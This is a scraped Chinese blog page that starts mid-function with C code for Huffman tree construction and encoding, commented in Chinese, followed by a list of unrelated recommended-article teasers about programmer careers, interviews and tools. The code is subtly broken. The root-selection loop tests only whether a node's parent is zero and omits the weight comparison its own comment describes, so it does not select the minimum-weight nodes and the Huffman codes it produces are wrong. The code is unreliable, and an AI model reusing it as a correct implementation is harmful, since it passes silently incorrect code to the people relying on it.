for(j=1;j<=i;j++) // 对于前i个结点        if(t[j].parent==0) // t[j]的权值小于k,又是树的根结点       {  k=t[j].weight; // t[j]的权值赋给k         m=j; // 序号赋给m        }      t[m].parent=1; // 给选中的根结点的双亲赋非零值,避免第2次查找该结点     return m; // 返回权值最小的根结点的序号   }      void select(HuffmanTree t,int i,int &s1,int &s2)   { // 在赫夫曼树t的前i个结点中选择2个权值最小的树的根结点序号,s1为其中序号(权值)较小的         int j;        s1=min(t,i); // 权值最小的根结点序号     s2=min(t,i); // 权值第2小的根结点序号        if(s1>s2) // s1的序号大于s2的     { // 交换        j=s1;        s1=s2; // s1是权值最小的2个中序号较小的       s2=j; // s2是权值最小的2个中序号较小的     }     }       void HuffmanCoding(HuffmanTree &HT,HuffmanCode &HC,int* w,int n) // 算法6.12   { // w存放n个字符的权值(均>0),构造赫夫曼树HT,并求出n个字符的赫夫曼编码HC     int start;      unsigned f;   // 以下是从叶子到根逆向求每个字符的赫夫曼编码   int m,i,s1,s2;     unsigned c;     HuffmanTree p;      char *cd;      if(n<=1) // 叶子结点数不大于n        return;      m=2*n-1; // n个叶子结点的赫夫曼树共有m个结点      HT=(HuffmanTree)malloc((m+1)*sizeof(HTNode)); // 0号单元未用      for(p=HT+1,i=1;i<=n;++i,++p,++w) // 从1号单元开始到n号单元,给叶子结点赋值    { // p的初值指向1号单元        (*p).weight=*w; // 赋权值        (*p).parent=0; // 双亲域为空(是根结点)        (*p).lchild=0; // 左右孩子为空(是叶子结点,即单结点树)       (*p).rchild=0;      }      for(;i<=m;++i,++p) // i从n+1到m        (*p).parent=0; // 其余结点的双亲域初值为0      for(i=n+1;i<=m;++i) // 建赫夫曼树      { // 在HT[1~i-1]中选择parent为0且weight最小的两个结点,其序号分别为s1和s2       select(HT,i-1,s1,s2);        HT[s1].parent=HT[s2].parent=i; // i号单元是s1和s2的双亲       HT[i].lchild=s1; // i号单元的左右孩子分别是s1和s2 HT[i].rchild=s2;        HT[i].weight=HT[s1].weight+HT[s2].weight; // i号单元的权值是s1和s2的权值之和     }      HC=(HuffmanCode)malloc((n+1)*sizeof(char*));    // 分配n个字符编码的头指针向量([0]不用)      cd=(char*)malloc(n*sizeof(char)); // 分配求编码的工作空间     cd[n-1]='\0'; // 编码结束符     for(i=1;i<=n;i++)      { // 逐个字符求赫夫曼编码       start=n-1; // 编码结束符位置        for(c=i,f=HT[i].parent;f!=0;c=f,f=HT[f].parent) // 从叶子到根逆向求编码         if(HT[f].lchild==c) // c是其双亲的左孩子           cd[--start]='0'; // 由叶子向根赋值'0'         else // c是其双亲的右孩子            cd[--start]='1'; // 由叶子向根赋值'1'        HC[i]=(char*)malloc((n-start)*sizeof(char)); // 为第i个字符编码分配空间       strcpy(HC[i],&cd[start]); // 从cd复制编码(串)到HC     }      free(cd); // 释放工作空间   }     void main()   {      HuffmanTree HT;     HuffmanCode HC;      int *w,n,i;      printf("请输入权值的个数(>1):");      scanf("%d",&n);      w=(int*)malloc(n*sizeof(int)); // 动态生成存放n个权值的空间     printf("请依次输入%d个权值(整型):\n",n);     for(i=0;i<=n-1;i++)        scanf("%d",w+i); // 依次输入权值      HuffmanCoding(HT,HC,w,n); // 根据w所存的n个权值构造赫夫曼树HT,n个赫夫曼编码存于HC      for(i=1;i<=n;i++)        puts(HC[i]); // 依次输出赫夫曼编码 }
在中国程序员是青春饭吗?
今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...
《MySQL 性能优化》之理解 MySQL 体系结构
本文介绍 MySQL 的体系结构,包括物理结构、逻辑结构以及插件式存储引擎。
【资源】一个C/C++开发工程师的学习路线(已经无路可退,唯有逆风飞翔)【内附资源页】
声明: 1)该文章整理自网上的大牛和专家无私奉献的资料,具体引用的资料请看参考文献。 2)本文仅供学术交流,非商用。所以每一部分具体的参考资料并没有详细对应。如果某部分不小心侵犯了大家的利益,还望海涵,并联系博主删除。 3)博主才疏学浅,文中如有不当之处,请各位指出,共同进步,谢谢。 4)此属于第一版本,若有错误,还需继续修正与增删。还望大家多多指点。大家都共享一点点,一起为祖国科研的推进...
程序员请照顾好自己,周末病魔差点一套带走我。
程序员在一个周末的时间,得了重病,差点当场去世,还好及时挽救回来了。
20道你必须要背会的微服务面试题,面试一定会被问到
写在前面: 在学习springcloud之前大家一定要先了解下,常见的面试题有那块,然后我们带着问题去学习这个微服务技术,那么就会更加理解springcloud技术。如果你已经学了springcloud,那么在准备面试的时候,一定要看看看这些面试题。 文章目录1、什么是微服务?2、微服务之间是如何通讯的?3、springcloud 与dubbo有哪些区别?4、请谈谈对SpringBoot 和S...
达摩院十大科技趋势发布:2020 非同小可!
【CSDN编者按】1月2日,阿里巴巴发布《达摩院2020十大科技趋势》,十大科技趋势分别是:人工智能从感知智能向认知智能演进;计算存储一体化突破AI算力瓶颈;工业互联网的超融合;机器间大规模协作成为可能;模块化降低芯片设计门槛;规模化生产级区块链应用将走入大众;量子计算进入攻坚期;新材料推动半导体器件革新;保护数据隐私的AI技术将加速落地;云成为IT技术创新的中心 。 新的画卷,正在徐徐展开。...
轻松搭建基于 SpringBoot + Vue 的 Web 商城应用
首先介绍下在本文出现的几个比较重要的概念: 函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API ...
Python+OpenCV实时图像处理
目录 1、导入库文件 2、设计GUI 3、调用摄像头 4、实时图像处理 4.1、阈值二值化 4.2、边缘检测 4.3、轮廓检测 4.4、高斯滤波 4.5、色彩转换 4.6、调节对比度 5、退出系统 初学OpenCV图像处理的小伙伴肯定对什么高斯函数、滤波处理、阈值二值化等特性非常头疼,这里给各位分享一个小项目,可通过摄像头实时动态查看各类图像处理的特点,也可对各位调参、测试...
2020年一线城市程序员工资大调查
人才需求 一线城市共发布岗位38115个,招聘120827人。 其中 beijing 22805 guangzhou 25081 shanghai 39614 shenzhen 33327 工资分布 2020年中国一线城市程序员的平均工资为16285元,工资中位数为14583元,其中95%的人的工资位于5000到20000元之间。 和往年数据比较: yea...
为什么猝死的都是程序员,基本上不见产品经理猝死呢?
相信大家时不时听到程序员猝死的消息,但是基本上听不到产品经理猝死的消息,这是为什么呢? 我们先百度搜一下:程序员猝死,出现将近700多万条搜索结果: 搜索一下:产品经理猝死,只有400万条的搜索结果,从搜索结果数量上来看,程序员猝死的搜索结果就比产品经理猝死的搜索结果高了一倍,而且从下图可以看到,首页里面的五条搜索结果,其实只有两条才是符合条件。 所以程序员猝死的概率真的比产品经理大,并不是错...
害怕面试被问HashMap?这一篇就搞定了!
声明:本文以jdk1.8为主! 搞定HashMap 作为一个Java从业者,面试的时候肯定会被问到过HashMap,因为对于HashMap来说,可以说是Java集合中的精髓了,如果你觉得自己对它掌握的还不够好,我想今天这篇文章会非常适合你,至少,看了今天这篇文章,以后不怕面试被问HashMap了 其实在我学习HashMap的过程中,我个人觉得HashMap还是挺复杂的,如果真的想把它搞得明明白...
毕业5年,我问遍了身边的大佬,总结了他们的学习方法
我问了身边10个大佬,总结了他们的学习方法,原来成功都是有迹可循的。
python爬取百部电影数据,我分析出了一个残酷的真相
2019年就这么匆匆过去了,就在前几天国家电影局发布了2019年中国电影市场数据,数据显示去年总票房为642.66亿元,同比增长5.4%;国产电影总票房411.75亿元,同比增长8.65%,市场占比 64.07%;城市院线观影人次17.27亿,同比增长0.64%。 看上去似乎是一片大好对不对?不过作为一名严谨求实的数据分析师,我从官方数据中看出了一点端倪:国产票房增幅都已经高达8.65%了,为什...
推荐10个堪称神器的学习网站
每天都会收到很多读者的私信,问我:“二哥,有什么推荐的学习网站吗?最近很浮躁,手头的一些网站都看烦了,想看看二哥这里有什么新鲜货。” 今天一早做了个恶梦,梦到被老板辞退了。虽然说在我们公司,只有我辞退老板的份,没有老板辞退我这一说,但是还是被吓得 4 点多都起来了。(主要是因为我掌握着公司所有的核心源码,哈哈哈) 既然 4 点多起来,就得好好利用起来。于是我就挑选了 10 个堪称神器的学习网站,推...
这些软件太强了,Windows必装!尤其程序员!
Windows可谓是大多数人的生产力工具,集娱乐办公于一体,虽然在程序员这个群体中都说苹果是信仰,但是大部分不都是从Windows过来的,而且现在依然有很多的程序员用Windows。 所以,今天我就把我私藏的Windows必装的软件分享给大家,如果有一个你没有用过甚至没有听过,那你就赚了????,这可都是提升你幸福感的高效率生产力工具哦! 走起!???? NO、1 ScreenToGif 屏幕,摄像头和白板...
阿里面试,面试官没想到一个ArrayList,我都能跟他扯半小时
我是真的没想到,面试官会这样问我ArrayList。
曾经优秀的人,怎么就突然不优秀了。
职场上有很多辛酸事,很多合伙人出局的故事,很多技术骨干被裁员的故事。说来模板都类似,曾经是名校毕业,曾经是优秀员工,曾经被领导表扬,曾经业绩突出,然而突然有一天,因为种种原因,被裁员了,...
大学四年因为知道了这32个网站,我成了别人眼中的大神!
依稀记得,毕业那天,我们导员发给我毕业证的时候对我说“你可是咱们系的风云人物啊”,哎呀,别提当时多开心啦????,嗯,我们导员是所有导员中最帅的一个,真的???? 不过,导员说的是实话,很多人都叫我大神的,为啥,因为我知道这32个网站啊,你说强不强????,这次是绝对的干货,看好啦,走起来! PS:每个网站都是学计算机混互联网必须知道的,真的牛杯,我就不过多介绍了,大家自行探索,觉得没用的,尽管留言吐槽吧???? 社...
良心推荐,我珍藏的一些Chrome插件
上次搬家的时候,发了一个朋友圈,附带的照片中不小心暴露了自己的 Chrome 浏览器插件之多,于是就有小伙伴评论说分享一下我觉得还不错的浏览器插件。 我下面就把我日常工作和学习中经常用到的一些 Chrome 浏览器插件分享给大家,随便一个都能提高你的“生活品质”和工作效率。 Markdown Here Markdown Here 可以让你更愉快的写邮件,由于支持 Markdown 直接转电子邮...
看完这篇HTTP,跟面试官扯皮就没问题了
我是一名程序员,我的主要编程语言是 Java,我更是一名 Web 开发人员,所以我必须要了解 HTTP,所以本篇文章就来带你从 HTTP 入门到进阶,看完让你有一种恍然大悟、醍醐灌顶的感觉。 最初在有网络之前,我们的电脑都是单机的,单机系统是孤立的,我还记得 05 年前那会儿家里有个电脑,想打电脑游戏还得两个人在一个电脑上玩儿,及其不方便。我就想为什么家里人不让上网,我的同学 xxx 家里有网,每...
2020 年,大火的 Python 和 JavaScript 是否会被取而代之?
Python 和 JavaScript 是目前最火的两大编程语言,但是2020 年,什么编程语言将会取而代之呢? 作者 |Richard Kenneth Eng 译者 |明明如月,责编 | 郭芮 出品 | CSDN(ID:CSDNnews) 以下为译文: Python 和 JavaScript 是目前最火的两大编程语言。然而,他们不可能永远屹立不倒。最终,必将像其他编程语言一...
史上最全的IDEA快捷键总结
现在Idea成了主流开发工具,这篇博客对其使用的快捷键做了总结,希望对大家的开发工作有所帮助。
阿里程序员写了一个新手都写不出的低级bug,被骂惨了。
这种新手都不会范的错,居然被一个工作好几年的小伙子写出来,差点被当场开除了。
谁是华为扫地僧?
是的,华为也有扫地僧!2020年2月11-12日,“养在深闺人不知”的华为2012实验室扫地僧们,将在华为开发者大会2020(Cloud)上,和大家见面。到时,你可以和扫地僧们,吃一个洋...
AI 没让人类失业,搞 AI 的人先失业了
最近和几个 AI 领域的大佬闲聊 根据他们讲的消息和段子 改编出下面这个故事 如有雷同 都是巧合 1. 老王创业失败,被限制高消费 “这里写我跑路的消息实在太夸张了。” 王葱葱哼笑一下,把消息分享给群里。 阿杰也看了消息,笑了笑。在座几位也都笑了。 王葱葱是个有名的人物,21岁那年以全额奖学金进入 KMU 攻读人工智能博士,累计发表论文 40 余篇,个人技术博客更是成为深度学习领域内风向标。 ...
2020年,冯唐49岁:我给20、30岁IT职场年轻人的建议
点击“技术领导力”关注∆每天早上8:30推送 作者|Mr.K 编辑| Emma 来源|技术领导力(ID:jishulingdaoli) 前天的推文《冯唐:职场人35岁以后,方法论比经验重要》,收到了不少读者的反馈,觉得挺受启发。其实,冯唐写了不少关于职场方面的文章,都挺不错的。可惜大家只记住了“春风十里不如你”、“如何避免成为油腻腻的中年人”等不那么正经的文章。 本文整理了冯...
神级宝库!GitHub 标星 1.2w+,Chrome 最天秀的插件都在这里啦!
作者 | Rocky0429 来源 | Python空间 大家好,我是 Rocky0429,一个沉迷 Chrome 不能自拔的蒟蒻… 作为一个在远古时代用过什么 IE、360、猎豹等浏览器的资深器哥,当我第一次了解 Chrome 的时候,就被它的美貌给吸引住了… 就在我用了一段时间之后,我坚决的卸载了电脑上其它碍眼的浏览器,并觉得在之前的搬砖生涯中,我不配当哥,我只配是个沙雕… ...
作为一名大学生,如何在B站上快乐的学习?
B站是个宝,谁用谁知道???? 作为一名大学生,你必须掌握的一项能力就是自学能力,很多看起来很牛X的人,你可以了解下,人家私底下一定是花大量的时间自学的,你可能会说,我也想学习啊,可是嘞,该学习啥嘞,不怕告诉你,互联网时代,最不缺的就是学习资源,最宝贵的是啥? 你可能会说是时间,不,不是时间,而是你的注意力,懂了吧! 那么,你说学习资源多,我咋不知道,那今天我就告诉你一个你必须知道的学习的地方,人称...
那些年,我们信了课本里的那些鬼话
教材永远都是有错误的,从小学到大学,我们不断的学习了很多错误知识。 斑羚飞渡 在我们学习的很多小学课文里,有很多是错误文章,或者说是假课文。像《斑羚飞渡》: 随着镰刀头羊的那声吼叫,整个斑羚群迅速分成两拨,老年斑羚为一拨,年轻斑羚为一拨。 就在这时,我看见,从那拨老斑羚里走出一只公斑羚来。公斑羚朝那拨年轻斑羚示意性地咩了一声,一只半大的斑羚应声走了出来。一老一少走到伤心崖,后退了几步,突...
张朝阳回应迟到 1 分钟罚 500:资本家就得剥削员工
loonggg读完需要2分钟速读仅需 1 分钟大家我,我是你们的校长。前几天,搜狐的董事局主席兼 CEO 张朝阳和搜狐都上热搜了。原因很简单,就是搜狐出了“考勤新规”。一封搜狐对员工发布...
一个程序在计算机中是如何运行的?超级干货!!!
强烈声明:本文很干,请自备茶水!???? 开门见山,咱不说废话! 你有没有想过,你写的程序,是如何在计算机中运行的吗?比如我们搞Java的,肯定写过这段代码 public class HelloWorld { public static void main(String[] args) { System.out.println("Hello World!"); } ...
【蘑菇街技术部年会】程序员与女神共舞,鼻血再次没止住。(文末内推)
蘑菇街技术部的年会,别开生面,一样全是美女。
那个在阿里养猪的工程师,5年了……
简介: 在阿里,走过1825天,没有趴下,依旧斗志满满,被称为“五年陈”。他们会被授予一枚戒指,过程就叫做“授戒仪式”。今天,咱们听听阿里的那些“五年陈”们的故事。 下一个五年,猪圈见! 我就是那个在养猪场里敲代码的工程师,一年多前我和20位工程师去了四川的猪场,出发前总架构师慷慨激昂的说:同学们,中国的养猪产业将因为我们而改变。但到了猪场,发现根本不是那么回事:要个WIFI,没有;...
为什么程序猿都不愿意去外包?
分享外包的组织架构,盈利模式,亲身经历,以及根据一些外包朋友的反馈,写了这篇文章 ,希望对正在找工作的老铁有所帮助
Java校招入职华为,半年后我跑路了
何来 我,一个双非本科弟弟,有幸在 19 届的秋招中得到前东家华为(以下简称 hw)的赏识,当时秋招签订就业协议,说是入了某 java bg,之后一系列组织架构调整原因等等让人无法理解的神操作,最终毕业前夕,被通知调往其他 bg 做嵌入式开发(纯 C 语言)。 由于已至于校招末尾,之前拿到的其他 offer 又无法再收回,一时感到无力回天,只得默默接受。 毕业后,直接入职开始了嵌入式苦旅,由于从未...
立即提问